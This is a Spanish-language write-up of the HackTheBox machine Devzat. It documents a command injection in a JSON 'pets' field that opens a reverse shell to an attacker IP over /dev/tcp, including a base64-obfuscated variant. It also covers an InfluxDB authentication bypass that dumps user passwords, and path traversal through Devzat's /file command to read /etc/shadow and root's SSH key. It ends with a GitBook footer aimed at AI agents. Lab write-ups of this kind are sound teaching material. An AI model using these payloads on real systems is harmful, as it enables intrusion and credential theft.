> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-medium/devzat-hackthebox-writeup.md). # Resolución de HackTheBox Devzat {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Fuzzing de directorios * Inyección web (RCE) * Abusando de InfluxDB (CVE-2019-20933) * Abusando del comando /file del chat Devzat (escalada de privilegios) {% endhint %} ## Reconocimiento: **Configuración del espacio de trabajo:** Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

**Comprobación de conectividad VPN** Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

**Descubrimiento de puertos abiertos con Nmap:** Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.118 -oG allPorts ```

**Análisis de puertos abiertos con extractPorts:** Uso de la función extractPorts para mostrar de forma concisa los puertos abiertos y copiarlos al portapapeles (22.80.8000)

Escaneo de versiones de puertos con Nmap: Usa Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted": ```bash nmap -sCV -p22,80,8000 10.10.11.118 -oN targeted ```

Para resolver nombres de dominio a direcciones IP mediante DNS, se inserta el nombre de dominio asociado con su dirección IP en el `/etc/hosts` archivo:

### Puerto 80

Usando `whatweb`, encontramos un correo electrónico asociado con el sitio: `patrick@devzat.htb`.

La aplicación también nos informa de que podemos usar el puerto 8000 para conectarnos por SSH a "chat": ```bash ssh -l [username] devzat.htb -p 8000 ```

### Puerto 8000: Intentamos conectarnos, pero ocurre un problema porque se requiere una clave SSH: ```bash ssh -l jordan devzat.htb -p 8000 ```

**Forzando temporalmente el uso de SSH-RSA:** Especificamos el tipo de clave SSH que se usará para esta sesión con la siguiente opción: ```bash ssh -l jordan devzat.htb -p 8000 -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa ```

### **Proyecto Devzat (chat SSH):** {% hint style="info" %} Devzat es un servidor SSH personalizado que conecta a un chat en lugar de a un intérprete de comandos. Como las aplicaciones SSH están disponibles en todas las plataformas (incluidos los teléfonos), puedes conectarte a Devzat desde cualquier dispositivo. {% endhint %} Aquí hay una lista de comandos que se pueden ejecutar en este chat:

### Fuzzing **directorios:** Usamos `gobuster` para listar directorios en el sitio: ```bash gobuster dir -u http://devzat.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ``` No se encontraron resultados interesantes.

### **Fuzzing de subdominios** Buscamos subdominios con `gobuster`: ```bash gobuster vhost -u http://devzat.htb --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 | grep -Ev "403|302" ``` Descubrimos el `pets.devzat.htb` subdominio y lo añadimos al `/etc/hosts` archivo.

## **Vulnerabilidad (RCE) JSON:**

Tenemos la posibilidad de añadir "pets" con su especie, lo que permite una inyección JSON.

Interceptamos solicitudes con Burp Suite e intentamos manipular la petición añadiendo una entrada con nombre y especie:

Esta entrada se interpreta, lo que permite una inyección. ```json { "Nombre": "jordan", "Especie": "jordan" } ```

Escuchamos el tráfico ICMP para observar las comunicaciones y probar inyecciones de comandos: ```bash sudo tcpdump -i tun0 icmp ``` Recibimos un ping de retorno, lo que confirma la posibilidad de ejecución remota de código.

Luego enviamos una solicitud con `curl` a nuestro servidor Python y también recibimos una solicitud, lo que confirma la vulnerabilidad de ejecución remota de código. ```bash { "Nombre": "jordan", "Especie": "test;bash -c \"bash -i >%26 /dev/tcp/10.10.14.12/443 0>%261\"" } ```

### Shell inversa Intentamos crear una shell inversa: ```bash bash -c "bash -i >%26 /dev/tcp/10.10.14.12/443 0>%261" ``` Sin embargo, se produce un error de salida.

**Solución al error (shell inversa):** Para resolver este error, creamos un archivo HTML que contiene la shell inversa, que codificamos en base64: ```bash #!/bin/bash bash -i >& /dev/tcp/10.10.14.12/443 0>&1 ``` Convertimos este archivo a base64: ```bash base64 -w 0 index.html ```

En la consulta, ejecutamos el echo de la cadena codificada en base64 y la decodificamos antes de ejecutar la shell: {% code overflow="wrap" %} ```bash { "Nombre": "jordan", "Species": "test;echo IyEvYmluL2Jhc2ggCmJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTIvNDQzIDA+JjEK | base64 -d | bash" } ``` {% endcode %} Una vez más, escuchamos en el puerto 443 y obtenemos una shell inversa.

#### **Manejo de terminal:** Para estabilizar nuestra sesión, usamos los siguientes comandos: ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ## Escalada de privilegios Observamos la necesidad de aumentar privilegios. Necesitamos pivotar para obtener acceso a la `catherine` cuenta de usuario.

#### Identificación de puertos abiertos Primero, observamos los puertos abiertos internamente usando el siguiente comando: ```bash netstat -nltp ``` Los puertos abiertos son: * 8086 * 8443 * 5000

### Redirección de puertos (SSH) Redirigimos los puertos internos a nuestra máquina de ataque usando la clave privada del usuario y aplicando los permisos correctos: ```bash chmod 600 id_rsa ```

```bash sudo ssh -L 8086:127.0.0.1:8086 -L 8443:127.0.0.1:8443 -L 5000:127.0.0.1:5000 patrick@devzat.htb -i id_rsa ``` Luego usamos `nmap` para escanear los puertos redirigidos: ```bash nmap -sCV -p5000,8443,8086 localhost -oN targeted ``` ### Puerto 5000:

Observamos que este puerto está vinculado al mismo servicio encontrado en el puerto 8000, lo que no nos da una vía de explotación adicional.

### **Puerto 8086 (InfluxDB)** El servicio en el puerto 8086 es InfluxDB, versión 1.7.5. Identificamos una vulnerabilidad NCE (Ejecución remota de código) en InfluxDB:

**Vulnerabilidad:** [CVE-2019-20933](https://nvd.nist.gov/vuln/detail/CVE-2019-20933) {% embed url="" %} {% hint style="info" %} Esta vulnerabilidad permite omitir la autenticación usando un token JWT cuyo `SharedSecret` está vacío (también conocido como secreto compartido), lo que nos da acceso a la base de datos. {% endhint %}

#### Acceso a la base de datos Una vez conectados a InfluxDB, listamos las bases de datos disponibles: ```sql SHOW DATABASES; ``` Seleccionamos la `devzat` base de datos y exploramos los datos de usuario. Empezamos listando las "mediciones": ```sql SHOW MEASUREMENTS; ``` El **`token de usuario`** contiene información útil. Para explorar las columnas de esta medición, ejecutamos: ```sql SHOW FIELD KEYS FROM "user"; ``` A continuación mostramos los 10 primeros resultados de la `token de usuario` tabla: ```sql SELECT * FROM "user" LIMIT 10; ```


contraseña	username
WillyWonka2021	wilhelm
woBeeYareedahc7Oogeephies7Aiseci	catherine
RoyalQueenBee$	charles

La contraseña del usuario catherine es **`woBeeYareedahc7Oogeephies7Aiseci`**, lo que nos permite recuperar la **bandera** usuario. ### Bandera user.txt :) Logramos acceder con éxito y pivotamos como `catherine`.

### Puerto 8443 (Devzat - Producción) El puerto 8443 está dedicado a una instancia de Devzat en producción. Observamos que un parámetro enumera todos los archivos del sistema como root. Sin embargo, el acceso a esta función está protegido por una contraseña. `archivo` parámetro enumera todos los archivos del sistema como root. Sin embargo, el acceso a esta función está protegido por una contraseña.

Intentamos usar la contraseña de catherine, pero falla. Ahora necesitamos buscar archivos que catherine pueda leer en el sistema.

### Búsqueda de archivos accesibles por Catherine Usamos el siguiente comando para buscar todos los archivos legibles por catherine: ```bash find / -user catherine -readable 2>/dev/null | grep -vE "cgroup|proc" ``` Encontramos dos `.zip` archivos de respaldo: * `/var/backups/devzat-main.zip` * `/var/backups/devzat-dev.zip` Descargamos el `devzat-dev.zip` archivo de respaldo y filtramos su contenido en busca de contraseñas. Encontramos una contraseña útil: **`CeilingCatStillAThingIn2021?`**.

Luego intentamos usar esta contraseña para acceder al `/etc/shadow` archivo mediante el `archivo` parámetro: ```bash /file /etc/shadows CeilingCatStillAThingIn2021? ``` Aunque la contraseña es correcta, se requiere una **ruta cruzada** para obtener acceso completo. Usamos el siguiente comando para navegar por el sistema de archivos:

```bash /file ../../../../etc/shadow CeilingCatStillAThingIn2021? ``` Logramos mostrar el `/etc/shadow` archivo como root.

### Acceso SSH como root Finalmente, usamos una ruta cruzada adicional para acceder a la clave SSH de root: ```bash /file ../../../../root/.ssh/id_rsa CeilingCatStillAThingIn2021? ```

Descargamos la clave SSH y nos conectamos como root.

### Bandera root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-medium/devzat-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.